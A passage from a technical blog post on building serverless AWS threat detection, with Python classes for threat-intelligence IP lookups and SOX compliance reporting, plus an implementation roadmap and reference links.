</span>            <span class="n">anomaly_score</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">isolation_forest</span><span class="p">.</span><span class="nf">decision_function</span><span class="p">(</span><span class="n">features_array</span><span class="p">)[</span><span class="mi">0</span><span class="p">]</span>
            
            <span class="c1"># Convert to confidence score (0-1, higher = more anomalous)
</span>            <span class="n">confidence</span> <span class="o">=</span> <span class="nf">max</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="n">anomaly_score</span><span class="p">)</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)</span>
            
            <span class="k">return</span> <span class="n">confidence</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">ML anomaly detection failed: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="k">return</span> <span class="mf">0.5</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="custom-threat-intelligence-integration">Custom Threat Intelligence Integration</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">requests</span>
<span class="kn">import</span> <span class="n">hashlib</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>

<span class="k">class</span> <span class="nc">ThreatIntelligenceIntegration</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">threat_feeds</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">virustotal</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">https://www.virustotal.com/vtapi/v2/</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">alienvault</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">https://otx.alienvault.com/api/v1/</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">threatcrowd</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">https://www.threatcrowd.org/searchApi/v2/</span><span class="sh">'</span>
        <span class="p">}</span>
        <span class="n">self</span><span class="p">.</span><span class="n">cache</span> <span class="o">=</span> <span class="p">{}</span>  <span class="c1"># In-memory cache for threat intel
</span>        
    <span class="k">def</span> <span class="nf">check_ip_reputation</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Check IP reputation against threat intelligence feeds</span><span class="sh">"""</span>
        
        <span class="c1"># Check cache first
</span>        <span class="n">cache_key</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">ip_</span><span class="si">{</span><span class="n">ip_address</span><span class="si">}</span><span class="sh">"</span>
        <span class="k">if</span> <span class="n">cache_key</span> <span class="ow">in</span> <span class="n">self</span><span class="p">.</span><span class="n">cache</span><span class="p">:</span>
            <span class="n">cached_result</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="n">cache</span><span class="p">[</span><span class="n">cache_key</span><span class="p">]</span>
            <span class="k">if</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">()</span> <span class="o">-</span> <span class="n">cached_result</span><span class="p">[</span><span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">]</span> <span class="o">&lt;</span> <span class="nf">timedelta</span><span class="p">(</span><span class="n">hours</span><span class="o">=</span><span class="mi">1</span><span class="p">):</span>
                <span class="k">return</span> <span class="n">cached_result</span><span class="p">[</span><span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">]</span>
        
        <span class="n">reputation_data</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">malicious</span><span class="sh">'</span><span class="p">:</span> <span class="bp">False</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">:</span> <span class="mf">0.0</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">sources</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">categories</span><span class="sh">'</span><span class="p">:</span> <span class="p">[]</span>
        <span class="p">}</span>
        
        <span class="c1"># Query multiple threat intelligence sources
</span>        <span class="k">try</span><span class="p">:</span>
            <span class="c1"># VirusTotal IP lookup (requires API key)
</span>            <span class="n">vt_result</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">query_virustotal_ip</span><span class="p">(</span><span class="n">ip_address</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">vt_result</span><span class="p">:</span>
                <span class="n">reputation_data</span><span class="p">[</span><span class="sh">'</span><span class="s">sources</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">virustotal</span><span class="sh">'</span><span class="p">)</span>
                <span class="k">if</span> <span class="n">vt_result</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">positives</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
                    <span class="n">reputation_data</span><span class="p">[</span><span class="sh">'</span><span class="s">malicious</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="bp">True</span>
                    <span class="n">reputation_data</span><span class="p">[</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">min</span><span class="p">(</span><span class="mf">1.0</span><span class="p">,</span> <span class="n">vt_result</span><span class="p">[</span><span class="sh">'</span><span class="s">positives</span><span class="sh">'</span><span class="p">]</span> <span class="o">/</span> <span class="mi">10</span><span class="p">)</span>
            
            <span class="c1"># AlienVault OTX lookup
</span>            <span class="n">otx_result</span> <span class="o">=</span> <span class="n">self</span><span class="p">.</span><span class="nf">query_alienvault_ip</span><span class="p">(</span><span class="n">ip_address</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">otx_result</span><span class="p">:</span>
                <span class="n">reputation_data</span><span class="p">[</span><span class="sh">'</span><span class="s">sources</span><span class="sh">'</span><span class="p">].</span><span class="nf">append</span><span class="p">(</span><span class="sh">'</span><span class="s">alienvault</span><span class="sh">'</span><span class="p">)</span>
                <span class="k">if</span> <span class="n">otx_result</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">pulse_info</span><span class="sh">'</span><span class="p">,</span> <span class="p">{}).</span><span class="nf">get</span><span class="p">(</span><span class="sh">'</span><span class="s">count</span><span class="sh">'</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">:</span>
                    <span class="n">reputation_data</span><span class="p">[</span><span class="sh">'</span><span class="s">malicious</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="bp">True</span>
                    <span class="n">reputation_data</span><span class="p">[</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="nf">max</span><span class="p">(</span><span class="n">reputation_data</span><span class="p">[</span><span class="sh">'</span><span class="s">confidence</span><span class="sh">'</span><span class="p">],</span> <span class="mf">0.7</span><span class="p">)</span>
            
            <span class="c1"># Cache result
</span>            <span class="n">self</span><span class="p">.</span><span class="n">cache</span><span class="p">[</span><span class="n">cache_key</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">data</span><span class="sh">'</span><span class="p">:</span> <span class="n">reputation_data</span><span class="p">,</span>
                <span class="sh">'</span><span class="s">timestamp</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">()</span>
            <span class="p">}</span>
            
        <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Threat intelligence lookup failed: </span><span class="si">{</span><span class="nf">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">return</span> <span class="n">reputation_data</span>
    
    <span class="k">def</span> <span class="nf">query_virustotal_ip</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Query VirusTotal for IP reputation</span><span class="sh">"""</span>
        <span class="c1"># Implementation would require VirusTotal API key
</span>        <span class="c1"># This is a placeholder for the actual implementation
</span>        <span class="k">return</span> <span class="p">{}</span>
    
    <span class="k">def</span> <span class="nf">query_alienvault_ip</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">ip_address</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Query AlienVault OTX for IP reputation</span><span class="sh">"""</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="n">url</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">self</span><span class="p">.</span><span class="n">threat_feeds</span><span class="p">[</span><span class="sh">'</span><span class="s">alienvault</span><span class="sh">'</span><span class="p">]</span><span class="si">}</span><span class="s">indicators/IPv4/</span><span class="si">{</span><span class="n">ip_address</span><span class="si">}</span><span class="s">/general</span><span class="sh">"</span>
            <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="n">url</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="mi">5</span><span class="p">)</span>
            <span class="k">if</span> <span class="n">response</span><span class="p">.</span><span class="n">status_code</span> <span class="o">==</span> <span class="mi">200</span><span class="p">:</span>
                <span class="k">return</span> <span class="n">response</span><span class="p">.</span><span class="nf">json</span><span class="p">()</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">pass</span>
        <span class="k">return</span> <span class="p">{}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="compliance-reporting-integration">Compliance Reporting Integration</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="n">boto3</span>
<span class="kn">from</span> <span class="n">datetime</span> <span class="kn">import</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">timedelta</span>
<span class="kn">import</span> <span class="n">json</span>

<span class="k">class</span> <span class="nc">ComplianceReporting</span><span class="p">:</span>
    <span class="k">def</span> <span class="nf">__init__</span><span class="p">(</span><span class="n">self</span><span class="p">):</span>
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span> <span class="o">=</span> <span class="n">boto3</span><span class="p">.</span><span class="nf">client</span><span class="p">(</span><span class="sh">'</span><span class="s">s3</span><span class="sh">'</span><span class="p">)</span>
        <span class="n">self</span><span class="p">.</span><span class="n">compliance_bucket</span> <span class="o">=</span> <span class="sh">'</span><span class="s">security-compliance-reports</span><span class="sh">'</span>
        
    <span class="k">def</span> <span class="nf">generate_sox_compliance_report</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">start_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">end_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate SOX compliance report for security incidents</span><span class="sh">"""</span>
        
        <span class="n">report</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">report_type</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">SOX_Security_Compliance</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">period</span><span class="sh">'</span><span class="p">:</span> <span class="p">{</span>
                <span class="sh">'</span><span class="s">start</span><span class="sh">'</span><span class="p">:</span> <span class="n">start_date</span><span class="p">.</span><span class="nf">isoformat</span><span class="p">(),</span>
                <span class="sh">'</span><span class="s">end</span><span class="sh">'</span><span class="p">:</span> <span class="n">end_date</span><span class="p">.</span><span class="nf">isoformat</span><span class="p">()</span>
            <span class="p">},</span>
            <span class="sh">'</span><span class="s">generated_at</span><span class="sh">'</span><span class="p">:</span> <span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">(</span><span class="n">timezone</span><span class="p">.</span><span class="n">utc</span><span class="p">).</span><span class="nf">isoformat</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">metrics</span><span class="sh">'</span><span class="p">:</span> <span class="p">{},</span>
            <span class="sh">'</span><span class="s">incidents</span><span class="sh">'</span><span class="p">:</span> <span class="p">[],</span>
            <span class="sh">'</span><span class="s">controls_effectiveness</span><span class="sh">'</span><span class="p">:</span> <span class="p">{}</span>
        <span class="p">}</span>
        
        <span class="c1"># Collect security metrics
</span>        <span class="n">report</span><span class="p">[</span><span class="sh">'</span><span class="s">metrics</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">total_threats_detected</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">count_threats_detected</span><span class="p">(</span><span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">mean_detection_time</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">calculate_mean_detection_time</span><span class="p">(</span><span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">automated_response_rate</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">calculate_automation_rate</span><span class="p">(</span><span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">),</span>
            <span class="sh">'</span><span class="s">false_positive_rate</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">calculate_false_positive_rate</span><span class="p">(</span><span class="n">start_date</span><span class="p">,</span> <span class="n">end_date</span><span class="p">)</span>
        <span class="p">}</span>
        
        <span class="c1"># Assess control effectiveness
</span>        <span class="n">report</span><span class="p">[</span><span class="sh">'</span><span class="s">controls_effectiveness</span><span class="sh">'</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">preventive_controls</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">assess_preventive_controls</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">detective_controls</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">assess_detective_controls</span><span class="p">(),</span>
            <span class="sh">'</span><span class="s">corrective_controls</span><span class="sh">'</span><span class="p">:</span> <span class="n">self</span><span class="p">.</span><span class="nf">assess_corrective_controls</span><span class="p">()</span>
        <span class="p">}</span>
        
        <span class="c1"># Store report
</span>        <span class="n">report_key</span> <span class="o">=</span> <span class="sa">f</span><span class="sh">"</span><span class="s">sox-compliance/</span><span class="si">{</span><span class="n">start_date</span><span class="p">.</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y/%m</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="s">/security-report-</span><span class="si">{</span><span class="n">datetime</span><span class="p">.</span><span class="nf">now</span><span class="p">().</span><span class="nf">strftime</span><span class="p">(</span><span class="sh">'</span><span class="s">%Y%m%d</span><span class="sh">'</span><span class="p">)</span><span class="si">}</span><span class="s">.json</span><span class="sh">"</span>
        
        <span class="n">self</span><span class="p">.</span><span class="n">s3</span><span class="p">.</span><span class="nf">put_object</span><span class="p">(</span>
            <span class="n">Bucket</span><span class="o">=</span><span class="n">self</span><span class="p">.</span><span class="n">compliance_bucket</span><span class="p">,</span>
            <span class="n">Key</span><span class="o">=</span><span class="n">report_key</span><span class="p">,</span>
            <span class="n">Body</span><span class="o">=</span><span class="n">json</span><span class="p">.</span><span class="nf">dumps</span><span class="p">(</span><span class="n">report</span><span class="p">,</span> <span class="n">indent</span><span class="o">=</span><span class="mi">2</span><span class="p">),</span>
            <span class="n">ContentType</span><span class="o">=</span><span class="sh">'</span><span class="s">application/json</span><span class="sh">'</span>
        <span class="p">)</span>
        
        <span class="k">return</span> <span class="n">report</span>
    
    <span class="k">def</span> <span class="nf">generate_pci_dss_report</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">start_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">end_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Generate PCI DSS compliance report</span><span class="sh">"""</span>
        <span class="c1"># Implementation for PCI DSS specific requirements
</span>        <span class="k">pass</span>
    
    <span class="k">def</span> <span class="nf">count_threats_detected</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">start_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">end_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">int</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Count total threats detected in time period</span><span class="sh">"""</span>
        <span class="c1"># Query Security Hub or custom metrics
</span>        <span class="k">return</span> <span class="mi">0</span>  <span class="c1"># Placeholder
</span>    
    <span class="k">def</span> <span class="nf">calculate_mean_detection_time</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">start_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">end_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">float</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Calculate mean time to detect threats</span><span class="sh">"""</span>
        <span class="c1"># Analyze CloudTrail events and detection timestamps
</span>        <span class="k">return</span> <span class="mf">0.0</span>  <span class="c1"># Placeholder
</span>    
    <span class="k">def</span> <span class="nf">calculate_automation_rate</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">start_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">end_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">float</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Calculate percentage of automated responses</span><span class="sh">"""</span>
        <span class="c1"># Compare automated vs manual responses
</span>        <span class="k">return</span> <span class="mf">0.0</span>  <span class="c1"># Placeholder
</span>    
    <span class="k">def</span> <span class="nf">calculate_false_positive_rate</span><span class="p">(</span><span class="n">self</span><span class="p">,</span> <span class="n">start_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">,</span> <span class="n">end_date</span><span class="p">:</span> <span class="n">datetime</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">float</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Calculate false positive rate for threat detection</span><span class="sh">"""</span>
        <span class="c1"># Analyze confirmed vs false positive detections
</span>        <span class="k">return</span> <span class="mf">0.0</span>  <span class="c1"># Placeholder
</span>    
    <span class="k">def</span> <span class="nf">assess_preventive_controls</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess effectiveness of preventive security controls</span><span class="sh">"""</span>
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">iam_policies</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">effective</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">network_acls</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">effective</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">security_groups</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">needs_improvement</span><span class="sh">'</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">assess_detective_controls</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess effectiveness of detective security controls</span><span class="sh">"""</span>
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">cloudtrail_monitoring</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">effective</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">guardduty_detection</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">effective</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">custom_lambda_detection</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">effective</span><span class="sh">'</span>
        <span class="p">}</span>
    
    <span class="k">def</span> <span class="nf">assess_corrective_controls</span><span class="p">(</span><span class="n">self</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">dict</span><span class="p">:</span>
        <span class="sh">"""</span><span class="s">Assess effectiveness of corrective security controls</span><span class="sh">"""</span>
        <span class="k">return</span> <span class="p">{</span>
            <span class="sh">'</span><span class="s">automated_response</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">effective</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">incident_escalation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">effective</span><span class="sh">'</span><span class="p">,</span>
            <span class="sh">'</span><span class="s">manual_remediation</span><span class="sh">'</span><span class="p">:</span> <span class="sh">'</span><span class="s">needs_improvement</span><span class="sh">'</span>
        <span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="implementation-roadmap">Implementation Roadmap</h2>

<h3 id="phase-1-foundation-weeks-1-2">Phase 1: Foundation (Weeks 1-2)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy CloudFormation infrastructure stack</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure CloudTrail with CloudWatch Logs integration</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement basic threat detection Lambda function</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Set up SNS notifications for security alerts</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Enable AWS Security Hub for finding aggregation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test basic detection patterns with synthetic events</li>
</ul>

<h3 id="phase-2-enhanced-detection-weeks-3-4">Phase 2: Enhanced Detection (Weeks 3-4)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement advanced threat detection patterns</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add behavioral analysis capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Integrate with AWS GuardDuty for correlation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement geographic anomaly detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add machine learning anomaly detection</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure Security Lake integration for centralized logging</li>
</ul>

<h3 id="phase-3-automated-response-weeks-5-6">Phase 3: Automated Response (Weeks 5-6)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Deploy automated response Lambda function</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement privilege escalation response workflows</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add data exfiltration protection mechanisms</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure network isolation capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement user and role suspension automation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Test response mechanisms in isolated environment</li>
</ul>

<h3 id="phase-4-advanced-features-weeks-7-8">Phase 4: Advanced Features (Weeks 7-8)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Integrate threat intelligence feeds</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement custom compliance reporting</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add cross-account monitoring capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure advanced analytics and dashboards</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement incident response workflow automation</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Add support for custom threat patterns</li>
</ul>

<h3 id="phase-5-production-hardening-weeks-9-10">Phase 5: Production Hardening (Weeks 9-10)</h3>
<ul class="task-list">
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Conduct comprehensive security testing</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Implement monitoring and alerting for the detection system</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Configure backup and disaster recovery</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Establish operational runbooks and procedures</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Train security operations team on new capabilities</li>
  <li class="task-list-item"><input type="checkbox" class="task-list-item-checkbox" disabled="disabled" />Conduct tabletop exercises and incident simulations</li>
</ul>

<h2 id="related-articles">Related Articles</h2>

<ul>
  <li><a href="/posts/aws-iam-zero-trust-identity-network-deep-dive/">AWS IAM Zero Trust: Identity and Network Deep Dive</a></li>
  <li><a href="/posts/aws-cloudtrail-advanced-security-analytics/">AWS CloudTrail Advanced Security Analytics</a></li>
  <li><a href="/posts/serverless-security-operations-center-aws/">Building Serverless Security Operations Centers</a></li>
  <li><a href="/posts/aws-security-hub-centralized-management/">AWS Security Hub: Centralized Security Management</a></li>
</ul>

<h2 id="additional-resources">Additional Resources</h2>

<h3 id="official-documentation">Official Documentation</h3>
<ul>
  <li><a href="https://docs.aws.amazon.com/lambda/latest/dg/">AWS Lambda Developer Guide</a> - Comprehensive Lambda development documentation</li>
  <li><a href="https://docs.aws.amazon.com/cloudtrail/latest/userguide/">AWS CloudTrail User Guide</a> - CloudTrail configuration and best practices</li>
  <li><a href="https://docs.aws.amazon.com/securityhub/latest/userguide/">AWS Security Hub User Guide</a> - Security Hub integration and findings management</li>
  <li><a href="https://docs.aws.amazon.com/security-lake/latest/userguide/">AWS Security Lake User Guide</a> - Centralized security data lake implementation</li>
</ul>

<h3 id="tools-and-frameworks">Tools and Frameworks</h3>
<ul>
  <li><a href="https://docs.powertools.aws.dev/lambda/python/latest/">AWS Lambda Powertools</a> - Production-ready utilities for Lambda functions</li>
  <li><a href="https://docs.aws.amazon.com/serverless-application-model/latest/developerguide/serverless-sam-cli-install.html">AWS SAM CLI</a> - Serverless application deployment and testing</li>
  <li><a href="https://registry.terraform.io/providers/hashicorp/aws/latest">Terraform AWS Provider</a> - Infrastructure as Code for AWS resources</li>
  <li><a href="https://docs.aws.amazon.com/cdk/v2/guide/">AWS CDK</a> - Cloud Development Kit for programmatic infrastructure</li>
</ul>

<h3 id="industry-reports-and-research">Industry Reports and Research</h3>
<ul>
  <li><a href="https://cloudsecurityalliance.org/artifacts/top-threats-to-cloud-computing-2025">2025 Cloud Security Report</a> - Current cloud security threat landscape</li>
  <li><a href="https://docs.aws.amazon.com/whitepapers/latest/aws-security-best-practices/welcome.html">AWS Security Best Practices</a> - Official AWS security guidance</li>
  <li><a href="https://www.nist.gov/cyberframework">NIST Cybersecurity Framework</a> - Cybersecurity framework implementation guidance</li>
